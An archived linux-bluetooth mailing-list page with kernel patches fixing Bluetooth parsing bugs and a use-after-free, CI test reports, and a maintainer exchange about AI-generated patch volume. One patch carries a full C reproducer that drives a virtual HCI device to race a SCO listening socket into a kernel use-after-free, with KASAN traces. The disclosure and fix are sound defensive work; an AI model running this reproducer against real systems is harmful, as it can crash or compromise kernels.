* [PATCH 1/1] Bluetooth: hci_codec: validate capability record length
From: Ren Wei @ 2026-05-29 13:12 UTC (permalink / raw)
To: linux-bluetooth
Cc: marcel, luiz.dentz, kiran.k, chethan.tumkur.narayan,
ravishankar.srivatsa, yuantan098, zcliangcn, bird, xuyq21, n05ec
In-Reply-To: <cover.1779633761.git.xuyq21@lenovo.com>
From: Yuqi Xu <xuyq21@lenovo.com>
hci_read_codec_capabilities() validates each capability entry before
adding its serialized size to len and advancing the skb.
The current check only compares skb->len against caps->len, even
though the code consumes the length byte and the payload. Validate
the full record size so the cached capability length matches the
bytes available in the command response.
Fixes: 8961987f3f5f ("Bluetooth: Enumerate local supported codec and cache details")
Cc: stable@kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Yuqi Xu <xuyq21@lenovo.com>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
---
net/bluetooth/hci_codec.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/bluetooth/hci_codec.c b/net/bluetooth/hci_codec.c
index 3cc135bb1d30..5bc5003c387c 100644
--- a/net/bluetooth/hci_codec.c
+++ b/net/bluetooth/hci_codec.c
@@ -100,7 +100,7 @@ static void hci_read_codec_capabilities(struct hci_dev *hdev, __u8 transport,
caps = (void *)skb->data;
if (skb->len < sizeof(*caps))
goto error;
- if (skb->len < caps->len)
+ if (skb->len < sizeof(caps->len) + caps->len)
goto error;
len += sizeof(caps->len) + caps->len;
skb_pull(skb, sizeof(caps->len) + caps->len);
--
2.54.0
^ permalink raw reply related
* RE: [1/1] Bluetooth: hci_sync: reject oversized Broadcast Announcement prepend
From: bluez.test.bot @ 2026-05-29 12:29 UTC (permalink / raw)
To: linux-bluetooth, n05ec
In-Reply-To: <9089784d08f1afd038b4ce0df1fb89904f4879ee.1779634468.git.xuyq21@lenovo.com>
[-- Attachment #1: Type: text/plain, Size: 3369 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1102742
---Test result---
Test Summary:
CheckPatch FAIL 0.73 seconds
VerifyFixes PASS 0.13 seconds
VerifySignedoff PASS 0.13 seconds
GitLint PASS 0.33 seconds
SubjectPrefix PASS 0.13 seconds
BuildKernel PASS 25.45 seconds
CheckAllWarning PASS 28.02 seconds
CheckSparse PASS 26.96 seconds
BuildKernel32 PASS 24.84 seconds
TestRunnerSetup PASS 525.00 seconds
TestRunner_l2cap-tester PASS 58.33 seconds
TestRunner_iso-tester PASS 78.65 seconds
TestRunner_bnep-tester PASS 18.91 seconds
TestRunner_mgmt-tester FAIL 209.39 seconds
TestRunner_rfcomm-tester PASS 25.43 seconds
TestRunner_sco-tester PASS 32.59 seconds
TestRunner_ioctl-tester PASS 25.65 seconds
TestRunner_mesh-tester FAIL 26.60 seconds
TestRunner_smp-tester PASS 23.35 seconds
TestRunner_userchan-tester PASS 19.80 seconds
TestRunner_6lowpan-tester PASS 22.87 seconds
IncrementalBuild PASS 23.48 seconds
Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[1/1] Bluetooth: hci_sync: reject oversized Broadcast Announcement prepend
WARNING: Reported-by: should be immediately followed by Closes: with a URL to the report
#89:
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
WARNING: Reported-by: should be immediately followed by Closes: with a URL to the report
#90:
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
WARNING: Reported-by: should be immediately followed by Closes: with a URL to the report
#91:
Reported-by: Xin Liu <bird@lzu.edu.cn>
Assisted-by: Codex:GPT-5.4
total: 0 errors, 3 warnings, 0 checks, 11 lines checked
NOTE: For some of the reported defects, checkpatch may be able to
mechanically convert to the typical style using --fix or --fix-inplace.
/github/workspace/src/patch/14600598.patch has style problems, please review.
NOTE: Ignored message types: UNKNOWN_COMMIT_ID
NOTE: If any of the errors are false positives, please report
them to the maintainer, see CHECKPATCH in MAINTAINERS.
##############################
Test: TestRunner_mgmt-tester - FAIL
Desc: Run mgmt-tester with test-runner
Output:
Total: 494, Passed: 489 (99.0%), Failed: 1, Not Run: 4
Failed Test Cases
Read Exp Feature - Success Failed 0.238 seconds
##############################
Test: TestRunner_mesh-tester - FAIL
Desc: Run mesh-tester with test-runner
Output:
Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0
Failed Test Cases
Mesh - Send cancel - 1 Timed out 2.580 seconds
Mesh - Send cancel - 2 Timed out 1.989 seconds
https://github.com/bluez/bluetooth-next/pull/254
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH 1/1] Bluetooth: hci_sync: reject oversized Broadcast Announcement prepend
From: Ren Wei @ 2026-05-29 8:54 UTC (permalink / raw)
To: linux-bluetooth
Cc: marcel, luiz.dentz, yuantan098, zcliangcn, bird, xuyq21, n05ec
In-Reply-To: <cover.1779634468.git.xuyq21@lenovo.com>
From: Yuqi Xu <xuyq21@lenovo.com>
Existing advertising instances can already hold the maximum extended
advertising payload. When hci_adv_bcast_annoucement() prepends the
Broadcast Announcement service data to that payload, the combined data
may no longer fit in the temporary buffer used to rebuild the
advertising data.
Reject that case before copying the existing payload and report the
failure through the device log. This keeps the existing advertising
data intact and avoids overrunning the temporary buffer.
Fixes: 5725bc608252 ("Bluetooth: hci_sync: Fix broadcast/PA when using an existing instance")
Cc: stable@kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Yuqi Xu <xuyq21@lenovo.com>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
---
net/bluetooth/hci_sync.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
index fd3aacdea512..7cf37749ebaa 100644
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -1725,6 +1725,11 @@ static int hci_adv_bcast_annoucement(struct hci_dev *hdev, struct adv_info *adv)
/* Generate Broadcast ID */
get_random_bytes(bid, sizeof(bid));
len = eir_append_service_data(ad, 0, 0x1852, bid, sizeof(bid));
+ if (adv->adv_data_len > sizeof(ad) - len) {
+ bt_dev_err(hdev, "No room for Broadcast Announcement");
+ return -EINVAL;
+ }
+
memcpy(ad + len, adv->adv_data, adv->adv_data_len);
hci_set_adv_instance_data(hdev, adv->instance, len + adv->adv_data_len,
ad, 0, NULL);
--
2.54.0
^ permalink raw reply related
* RE: Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready()
From: bluez.test.bot @ 2026-05-29 8:36 UTC (permalink / raw)
To: linux-bluetooth, sanghyun.park.cnu
In-Reply-To: <CAOrxSK5OMUHuXzb5dsVMwy_N_6=BX69Cp98J8QVTKVFDGYY7tw@mail.gmail.com>
[-- Attachment #1: Type: text/plain, Size: 541 bytes --]
This is an automated email and please do not reply to this email.
Dear Submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
While preparing the CI tests, the patches you submitted couldn't be applied to the current HEAD of the repository.
----- Output -----
error: patch failed: net/bluetooth/sco.c:1323
error: net/bluetooth/sco.c: patch does not apply
hint: Use 'git am --show-current-patch' to see the failed patch
Please resolve the issue and submit the patches again.
---
Regards,
Linux Bluetooth
^ permalink raw reply
* Re: [GIT PULL] bluetooth 2026-05-28
From: Paolo Abeni @ 2026-05-29 7:35 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: davem, kuba, linux-bluetooth, netdev
In-Reply-To: <CABBYNZJjCVRp-00vA29nZahxOWYkCE03TnX=3-QWR7jzwx4mww@mail.gmail.com>
On 5/28/26 6:10 PM, Luiz Augusto von Dentz wrote:
> On Thu, May 28, 2026 at 11:52 AM Paolo Abeni <pabeni@redhat.com> wrote:
>> On 5/28/26 3:18 PM, Luiz Augusto von Dentz wrote:
>>> The following changes since commit ab1513597c6cf17cd1ad2a21e3b045421b48e022:
>>>
>>> Bluetooth: fix UAF in l2cap_sock_cleanup_listen() vs l2cap_conn_del() (2026-05-20 16:35:47 -0400)
>>>
>>> are available in the Git repository at:
>>>
>>> git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git tags/for-net-2026-05-28
>>>
>>> for you to fetch changes up to cdf88b35e06f1b385f7f6228060ae541d44fbb72:
>>>
>>> Bluetooth: hci_sync: Reset device counters in hci_dev_close_sync() (2026-05-28 08:52:21 -0400)
>>>
>>> ----------------------------------------------------------------
>>> bluetooth pull request for net:
>>>
>>> - hci_core: Rework hci_dev_do_reset() to use hci_sync functions
>>> - hci_conn: Fix memory leak in hci_le_big_terminate()
>>> - hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close
>>> - hci_sync: Reset device counters in hci_dev_close_sync()
>>> - hci_sync: fix UAF in hci_le_create_cis_sync
>>> - L2CAP: Fix possible crash on l2cap_ecred_conn_rsp
>>> - L2CAP: fix chan ref leak in l2cap_chan_timeout() on !conn
>>> - L2CAP: use chan timer to close channels in cleanup_listen()
>>> - L2CAP: clear chan->ident on ECRED reconfiguration success
>>> - ISO: fix UAF in iso_recv_frame
>>> - ISO: serialize iso_sock_clear_timer with socket lock
>>> - HIDP: fix missing length checks in hidp_input_report()
>>> - 6lowpan: check skb_clone() return value in send_mcast_pkt()
>>> - btusb: Allow firmware re-download when version matches
>>> - hci_qca: Use 100 ms SSR delay for rampatch and NVM loading
>>
>> I'm sorry, it did not fit today's net PR; I started cooking it quite a
>> bit earlier than this one, and I looked back at the ML only after
>> completion.
>
> Well I guess it will need to be merged for the next PR. That said, I
> wonder if I need to submit it one day earlier since there is a risk it
> doesn't get merged immediately, causing us to miss a week of the RC
> cycle. Maybe due to high influx of AI/Security patches we will need to
> submit it twice a week or something.
Indeed the AI generated load is impacting our workflow in many ways.
Among other things, our patch processing latency is roughly doubled
according to my complete wild guess. I agree posting the BT PR 1 day
earlier would be better.
Even multiple PRs per week makes sense to me, if the average size is
still significant. I'm not sure about others maintainers opinion, please
don't take my last statement as "a please go ahead with this" before
more acks.
Thanks,
Paolo
^ permalink raw reply
* [PATCH] Bluetooth: SCO: Fix use-after-free on listening socket in sco_conn_ready()
From: Sanghyun Park @ 2026-05-29 7:10 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: marcel, linux-bluetooth, linux-kernel
[-- Attachment #1.1: Type: text/plain, Size: 3366 bytes --]
sco_conn_ready() calls sco_get_sock_listen() which returns a raw
pointer to a listening socket after releasing sco_sk_list.lock, without
taking a reference. A concurrent close() of the listening socket can
free it between the list lookup return and lock_sock(parent), resulting
in a use-after-free.
Fix by taking a reference with sock_hold() immediately after
sco_get_sock_listen() returns, and dropping it with sock_put() after
release_sock(). This matches the pattern used in commit 598dbba9919c
("Bluetooth: SCO: Fix use-after-free in sco_recv_frame() due to missing
sock_hold") for the analogous race in sco_recv_frame().
Race:
CPU0 (HCI event workqueue) CPU1 (userspace)
============================ ==========================
sco_conn_ready():
parent = sco_get_sock_listen()
// returns sk with NO reference
close(listen_fd):
sco_sock_release()
sco_sock_kill()
sock_put(sk) -> frees sk
lock_sock(parent)
// UAF: sk is freed
Reproduction:
1. Build any kernel (bug exists since 2.6.12) with CONFIG_KASAN=y,
CONFIG_BT=y, CONFIG_BT_HCIVHCI=m
2. Boot in a VM, load hci_vhci module
3. Compile: gcc -O2 -o repro -static -pthread repro.c
4. Run as root: ./repro
5. Check dmesg for: BUG: KASAN: slab-use-after-free in __lock_acquire
The reproducer opens /dev/vhci, brings up a virtual HCI device,
creates a SCO listening socket, then races close(listen_fd) against
injected incoming SCO connection events. A 5ms instrumentation delay
at the vulnerable point widens the window for reliable reproduction;
without it the race is tight but still real on multi-core systems.
KASAN report (reproduced on 6.12.91 via /dev/vhci):
BUG: KASAN: slab-use-after-free in __lock_acquire+0x2e19/0x3b50
Read of size 8 at addr ffff888104be5258 by task kworker/u9:0/382
Workqueue: hci0 hci_rx_work
Call Trace:
__lock_acquire+0x2e19/0x3b50
lock_acquire.part.0+0xf7/0x320
lock_sock_nested+0x46/0x100
sco_connect_cfm.cold+0x2e7/0x867
hci_connect_cfm+0x94/0x140
hci_conn_complete_evt+0x825/0x13d0
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Sanghyun Park <sanghyun.park.cnu@gmail.com>
---
Hi,
I'm Sanghyun Park, a security researcher. I found this while auditing
the Bluetooth SCO code. The bug has existed since the initial git import
(2005) and affects literally every Linux kernel ever shipped. All distros
are affected.
The C reproducer is attached separately (repro.c).
net/bluetooth/sco.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/net/bluetooth/sco.c b/net/bluetooth/sco.c
index ad3439bd4d..b5c6d7e8f1 100644
--- a/net/bluetooth/sco.c
+++ b/net/bluetooth/sco.c
@@ -1323,6 +1323,7 @@ static void sco_conn_ready(struct sco_conn *conn)
sco_conn_unlock(conn);
return;
}
+ sock_hold(parent);
lock_sock(parent);
@@ -1330,6 +1331,7 @@ static void sco_conn_ready(struct sco_conn *conn)
BTPROTO_SCO, GFP_ATOMIC, 0);
if (!sk) {
release_sock(parent);
+ sock_put(parent);
sco_conn_unlock(conn);
return;
}
@@ -1353,6 +1355,7 @@ static void sco_conn_ready(struct sco_conn *conn)
parent->sk_data_ready(parent);
release_sock(parent);
+ sock_put(parent);
sco_conn_unlock(conn);
}
[-- Attachment #1.2: Type: text/html, Size: 3963 bytes --]
[-- Attachment #2: repro.c --]
[-- Type: application/octet-stream, Size: 12215 bytes --]
/*
* repro.c — KASAN PoC for SCO sco_conn_ready() listen parent UAF (Bug #6)
*
* Bug: sco_conn_ready() calls sco_get_sock_listen() at line 1320 which
* returns a raw struct sock * pointer WITHOUT taking a reference, after
* dropping sco_sk_list.lock. A concurrent close() of the listening socket
* can free it between the list lookup and lock_sock(parent) at line 1326.
*
* Race:
* Thread A: listen() on SCO socket
* Thread B (kernel, via VHCI): incoming SCO connection triggers
* sco_conn_ready() → sco_get_sock_listen() returns parent
* Thread A: close() the listening socket → sco_sock_release →
* sco_sock_cleanup_listen → sco_sock_kill → sock_put (frees)
* Thread B: lock_sock(parent) on freed struct sock → UAF
*
* Build: gcc -O2 -o repro -static -pthread repro.c
* Run: ./repro (as root, needs /dev/vhci)
* Check: dmesg | grep "BUG: KASAN"
*
* Prerequisites: root, CONFIG_BT_HCIVHCI=y (built-in or module)
* Expected: KASAN slab-use-after-free in lock_sock / sco_conn_ready
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <linux/rfkill.h>
/* Bluetooth constants */
#define BTPROTO_HCI 1
#define BTPROTO_SCO 2
#define HCI_COMMAND_PKT 0x01
#define HCI_EVENT_PKT 0x04
#define HCI_VENDOR_PKT 0xff
#define HCI_EV_CONN_COMPLETE 0x03
#define HCI_EV_CONN_REQUEST 0x04
#define HCI_EV_CMD_COMPLETE 0x0e
#define HCI_PRIMARY 0x00
#define SCO_LINK 0x00
#define SCAN_PAGE 0x02
#define HCIDEVUP _IOW('H', 201, int)
#define HCISETSCAN _IOW('H', 221, int)
/* HCI opcodes */
#define HCI_OP_RESET 0x0c03
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_READ_BD_ADDR 0x1009
#define HCI_OP_READ_BUFFER_SIZE 0x1005
typedef struct { uint8_t b[6]; } __attribute__((packed)) bdaddr_t;
struct sockaddr_sco {
sa_family_t sco_family;
bdaddr_t sco_bdaddr;
};
struct hci_dev_req {
uint16_t dev_id;
uint32_t dev_opt;
};
static int vhci_fd = -1;
static volatile int stop_racing = 0;
static volatile int event_thread_running = 0;
static bdaddr_t local_addr = {{ 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0x01 }};
static bdaddr_t remote_addr = {{ 0x11, 0x22, 0x33, 0x44, 0x55, 0x77 }};
/*
* Send HCI Event Packet via VHCI fd.
* Format: [HCI_EVENT_PKT][evt_code][param_len][params...]
*/
static void hci_send_event(int fd, uint8_t evt_code, void *data, size_t len)
{
uint8_t hdr[3];
hdr[0] = HCI_EVENT_PKT;
hdr[1] = evt_code;
hdr[2] = (uint8_t)len;
struct iovec iv[2] = {
{ .iov_base = hdr, .iov_len = 3 },
{ .iov_base = data, .iov_len = len },
};
writev(fd, iv, 2);
}
/*
* Send HCI Command Complete event.
* Format: [HCI_EVENT_PKT][0x0e][plen][ncmd=1][opcode_lo][opcode_hi][data...]
*/
static void hci_send_cmd_complete(int fd, uint16_t opcode, void *data, size_t len)
{
uint8_t hdr[3];
hdr[0] = HCI_EVENT_PKT;
hdr[1] = HCI_EV_CMD_COMPLETE;
hdr[2] = (uint8_t)(3 + len); /* ncmd(1) + opcode(2) + data */
uint8_t evt[3];
evt[0] = 1; /* ncmd */
evt[1] = opcode & 0xff;
evt[2] = (opcode >> 8) & 0xff;
struct iovec iv[3] = {
{ .iov_base = hdr, .iov_len = 3 },
{ .iov_base = evt, .iov_len = 3 },
{ .iov_base = data, .iov_len = len },
};
writev(fd, iv, 3);
}
/*
* Process one HCI command from the kernel and send appropriate response.
* Modeled after syzkaller's process_command_pkt — sends large dummy
* responses for unknown commands so the kernel accepts them.
*
* Returns 1 if WRITE_SCAN_ENABLE was processed (init done signal).
*/
static int process_command(int fd, uint8_t *buf, int len)
{
if (len < 3) return 0;
uint16_t opcode = buf[0] | (buf[1] << 8);
switch (opcode) {
case HCI_OP_RESET: {
uint8_t status = 0;
hci_send_cmd_complete(fd, opcode, &status, 1);
return 0;
}
case HCI_OP_READ_BD_ADDR: {
uint8_t rp[7] = {0}; /* status + 6-byte addr */
memcpy(rp + 1, &local_addr, 6);
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case 0x1001: { /* HCI_OP_READ_LOCAL_VERSION */
/* status(1)+hci_ver(1)+hci_rev(2)+lmp_ver(1)+mfr(2)+lmp_subver(2) */
uint8_t rp[9] = {0};
rp[1] = 0x06; /* hci_ver = Bluetooth 4.0 */
rp[4] = 0x06; /* lmp_ver = 4.0 */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case 0x1003: { /* HCI_OP_READ_LOCAL_FEATURES */
/* status(1) + features[8] */
uint8_t rp[9] = {0};
rp[1] = 0x04; /* features[0]: SCO link */
rp[4] = 0x08; /* features[3]: LMP_ESCO */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case 0x1002: { /* HCI_OP_READ_LOCAL_COMMANDS */
/* status(1) + supported_commands[64] */
uint8_t rp[65] = {0};
rp[1 + 9] = 0x04; /* commands[9] bit 2 = Read Voice Setting */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case HCI_OP_READ_BUFFER_SIZE: {
/* status(1) + acl_mtu(2) + sco_mtu(1) + acl_max(2) + sco_max(2) */
uint8_t rp[8] = {0};
rp[1] = 0xfd; rp[2] = 0x03; /* acl_mtu = 1021 */
rp[3] = 96; /* sco_mtu = 96 */
rp[4] = 4; rp[5] = 0; /* acl_max_pkt = 4 */
rp[6] = 6; rp[7] = 0; /* sco_max_pkt = 6 */
hci_send_cmd_complete(fd, opcode, rp, sizeof(rp));
return 0;
}
case HCI_OP_WRITE_SCAN_ENABLE: {
uint8_t status = 0;
hci_send_cmd_complete(fd, opcode, &status, 1);
return 1; /* init done */
}
default: {
/* Send large dummy response — kernel expects variable-length
* responses and will just ignore extra bytes */
uint8_t dummy[0xf9] = {0};
hci_send_cmd_complete(fd, opcode, dummy, sizeof(dummy));
return 0;
}
}
}
/*
* Event thread — reads HCI commands from VHCI and responds.
* Must run concurrently with HCIDEVUP to handle init commands.
*/
static void *event_thread(void *arg)
{
(void)arg;
event_thread_running = 1;
while (event_thread_running) {
uint8_t buf[1024];
struct pollfd pfd = { .fd = vhci_fd, .events = POLLIN };
int ret = poll(&pfd, 1, 100);
if (ret <= 0) continue;
ssize_t n = read(vhci_fd, buf, sizeof(buf));
if (n <= 0) continue;
if (buf[0] == HCI_COMMAND_PKT && n >= 4) {
process_command(vhci_fd, buf + 1, n - 1);
}
}
return NULL;
}
/* Inject HCI Connection Request (incoming SCO from remote) */
static void inject_conn_request(int fd)
{
/* evt_code=0x04, params: bdaddr(6) + class(3) + link_type(1) */
uint8_t params[10];
memset(params, 0, sizeof(params));
memcpy(params, &remote_addr, 6);
params[6] = 0x04; params[7] = 0x01; params[8] = 0x00; /* dev_class */
params[9] = SCO_LINK;
hci_send_event(fd, HCI_EV_CONN_REQUEST, params, sizeof(params));
}
/* Inject HCI Connection Complete (incoming SCO established) */
static void inject_conn_complete(int fd, uint16_t handle)
{
/* evt_code=0x03, params: status(1) + handle(2) + bdaddr(6) + link_type(1) + encr(1) */
uint8_t params[11];
memset(params, 0, sizeof(params));
params[0] = 0; /* success */
params[1] = handle & 0xff;
params[2] = (handle >> 8) & 0xff;
memcpy(params + 3, &remote_addr, 6);
params[9] = SCO_LINK;
params[10] = 0; /* no encryption */
hci_send_event(fd, HCI_EV_CONN_COMPLETE, params, sizeof(params));
}
static void rfkill_unblock_all(void)
{
int fd = open("/dev/rfkill", O_WRONLY);
if (fd < 0) return;
struct rfkill_event event = {0};
event.type = RFKILL_TYPE_ALL;
event.op = RFKILL_OP_CHANGE_ALL;
if (write(fd, &event, sizeof(event)) < 0)
perror("rfkill write");
close(fd);
}
#define ROUNDS 500
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("=== SCO sco_conn_ready() listen parent UAF PoC (Bug #6) ===\n\n");
/* Step 1: Create VHCI device */
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd < 0) { perror("open /dev/vhci"); return 1; }
uint8_t vendor_req[2] = { HCI_VENDOR_PKT, HCI_PRIMARY };
if (write(vhci_fd, vendor_req, 2) != 2) { perror("vhci write"); return 1; }
/* Read response — might be a RESET command or vendor response */
uint8_t buf[64];
ssize_t n = read(vhci_fd, buf, sizeof(buf));
if (n < 4) { fprintf(stderr, "vhci short read (%zd)\n", n); return 1; }
/* If kernel sent HCI_OP_RESET first, respond and read again */
if (buf[0] == HCI_COMMAND_PKT) {
uint16_t opcode = buf[1] | (buf[2] << 8);
if (opcode == HCI_OP_RESET) {
uint8_t status = 0;
hci_send_cmd_complete(vhci_fd, HCI_OP_RESET, &status, 1);
}
n = read(vhci_fd, buf, sizeof(buf));
if (n < 4) { fprintf(stderr, "vhci short read2 (%zd)\n", n); return 1; }
}
if (buf[0] != HCI_VENDOR_PKT) {
fprintf(stderr, "unexpected response type 0x%02x\n", buf[0]);
return 1;
}
int hci_index = buf[2] | (buf[3] << 8);
printf("Created VHCI hci%d\n", hci_index);
/* Step 2: Start event thread BEFORE hci_up (handles init commands) */
pthread_t evt_tid;
pthread_create(&evt_tid, NULL, event_thread, NULL);
/* Step 3: Bring HCI device up */
int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (hci_sock < 0) { perror("socket AF_BLUETOOTH"); return 1; }
printf("Bringing up hci%d...\n", hci_index);
int ret = ioctl(hci_sock, HCIDEVUP, hci_index);
if (ret < 0) {
if (errno == ERFKILL) {
rfkill_unblock_all();
ret = ioctl(hci_sock, HCIDEVUP, hci_index);
}
if (ret < 0 && errno != EALREADY) {
perror("HCIDEVUP");
event_thread_running = 0;
pthread_join(evt_tid, NULL);
return 1;
}
}
printf("HCI is up.\n");
/* Step 4: Enable page scan (required for incoming connections) */
struct hci_dev_req dr = {0};
dr.dev_id = hci_index;
dr.dev_opt = SCAN_PAGE;
if (ioctl(hci_sock, HCISETSCAN, &dr) < 0)
perror("HCISETSCAN (non-fatal)");
usleep(100000); /* let scan enable settle */
printf("Page scan enabled.\n\n");
printf("Racing listen()/close() vs incoming SCO connections...\n");
printf("Check dmesg for KASAN slab-use-after-free in sco_conn_ready\n\n");
for (int r = 0; r < ROUNDS; r++) {
/* Create listening SCO socket */
int lfd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
if (lfd < 0) {
if (errno == EAFNOSUPPORT) {
fprintf(stderr, "SCO not supported (EAFNOSUPPORT)\n");
break;
}
continue;
}
struct sockaddr_sco addr;
memset(&addr, 0, sizeof(addr));
addr.sco_family = AF_BLUETOOTH;
addr.sco_bdaddr = local_addr;
if (bind(lfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(lfd);
continue;
}
if (listen(lfd, 5) < 0) {
close(lfd);
continue;
}
/* Inject incoming SCO connection to trigger sco_conn_ready() */
uint16_t handle = 0x0080 + (r % 256);
inject_conn_request(vhci_fd);
usleep(50 + (r % 100)); /* vary timing */
/* Close listener while sco_conn_ready() may be processing */
close(lfd);
/* Give kernel time to process the connection complete */
inject_conn_complete(vhci_fd, handle);
usleep(200);
if ((r + 1) % 100 == 0)
printf(" Round %d/%d\n", r + 1, ROUNDS);
}
printf("\nDone (%d rounds). Check dmesg for KASAN reports.\n", ROUNDS);
event_thread_running = 0;
pthread_join(evt_tid, NULL);
close(hci_sock);
close(vhci_fd);
return 0;
}
^ permalink raw reply related
* RE: [v5] Bluetooth: bnep: reject short frames before parsing
From: bluez.test.bot @ 2026-05-29 5:15 UTC (permalink / raw)
To: linux-bluetooth, rollkingzzc
In-Reply-To: <20260529032209.2269753-1-rollkingzzc@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1042 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1102596
---Test result---
Test Summary:
CheckPatch PASS 0.78 seconds
VerifyFixes PASS 0.14 seconds
VerifySignedoff PASS 0.14 seconds
GitLint PASS 0.34 seconds
SubjectPrefix PASS 0.13 seconds
BuildKernel PASS 25.21 seconds
CheckAllWarning PASS 27.81 seconds
CheckSparse PASS 26.46 seconds
BuildKernel32 PASS 24.59 seconds
TestRunnerSetup PASS 530.02 seconds
TestRunner_bnep-tester PASS 19.02 seconds
IncrementalBuild PASS 24.35 seconds
https://github.com/bluez/bluetooth-next/pull/253
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH v5] Bluetooth: bnep: reject short frames before parsing
From: Zhang Cen @ 2026-05-29 3:22 UTC (permalink / raw)
To: Marcel Holtmann, Luiz Augusto von Dentz
Cc: linux-bluetooth, linux-kernel, zerocling0077, 2045gemini,
Zhang Cen
A BNEP peer can send a short BNEP SDU. bnep_rx_frame() reads the
packet type byte immediately and, for control packets, reads the control
opcode and setup UUID-size byte before proving that those bytes are
present. bnep_rx_control() also dereferences the control opcode without
rejecting an empty control payload.
Use skb_pull_data() for the fixed fields in bnep_rx_frame() so a NULL
return gates each dereference. Split the control handler so the frame
path can pass an opcode that has already been pulled, and keep the
byte-buffer wrapper for extension control payloads.
For BNEP_SETUP_CONN_REQ, name the UUID-size byte before pulling the
setup payload. struct bnep_setup_conn_req carries destination and source
service UUIDs after that byte, each uuid_size bytes, so the parser now
documents that tuple explicitly instead of leaving the pull length as an
opaque multiplication.
Validation reproduced this kernel report:
KASAN slab-out-of-bounds in bnep_rx_frame.isra.0+0x130c/0x1790
The buggy address belongs to the object at ffff88800c0f7908 which belongs
to the cache kmalloc-8 of size 8
The buggy address is located 0 bytes to the right of allocated 1-byte
region [ffff88800c0f7908, ffff88800c0f7909)
Read of size 1
Call trace:
dump_stack_lvl+0xb3/0x140 (?:?)
print_address_description+0x57/0x3a0 (?:?)
bnep_rx_frame+0x130c/0x1790 (net/bluetooth/bnep/core.c:306)
print_report+0xb9/0x2b0 (?:?)
__virt_addr_valid+0x1ba/0x3a0 (?:?)
srso_alias_return_thunk+0x5/0xfbef5 (?:?)
kasan_addr_to_slab+0x21/0x60 (?:?)
kasan_report+0xe0/0x110 (?:?)
process_one_work+0xfce/0x17e0 (kernel/workqueue.c:3200)
worker_thread+0x65c/0xe40 (?:?)
__kthread_parkme+0x184/0x230 (?:?)
kthread+0x35e/0x470 (?:?)
_raw_spin_unlock_irq+0x28/0x50 (?:?)
ret_from_fork+0x586/0x870 (?:?)
__switch_to+0x74f/0xdc0 (?:?)
ret_from_fork_asm+0x1a/0x30 (?:?)
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Assisted-by: Codex:gpt-5.5
Signed-off-by: Zhang Cen <rollkingzzc@gmail.com>
---
v5:
Clarify the BNEP_SETUP_CONN_REQ UUID-size handling using the setup
request layout from struct bnep_setup_conn_req.
v4:
Wrap the changelog entry that Bluetooth CI flagged as overlong.
Keep the BNEP code fix unchanged from the last submitted patch.
v3:
Use skb_pull_data() with NULL checks in bnep_rx_frame() instead of direct
skb->len guards before fixed header dereferences.
Split control handling so bnep_rx_frame() can pass an already pulled control
opcode while preserving the existing extension control wrapper.
net/bluetooth/bnep/core.c | 57 ++++++++++++++++++++++++---------------
1 file changed, 36 insertions(+), 21 deletions(-)
diff --git a/net/bluetooth/bnep/core.c b/net/bluetooth/bnep/core.c
index 0de5df690bd0..5c5f53ff30e8 100644
--- a/net/bluetooth/bnep/core.c
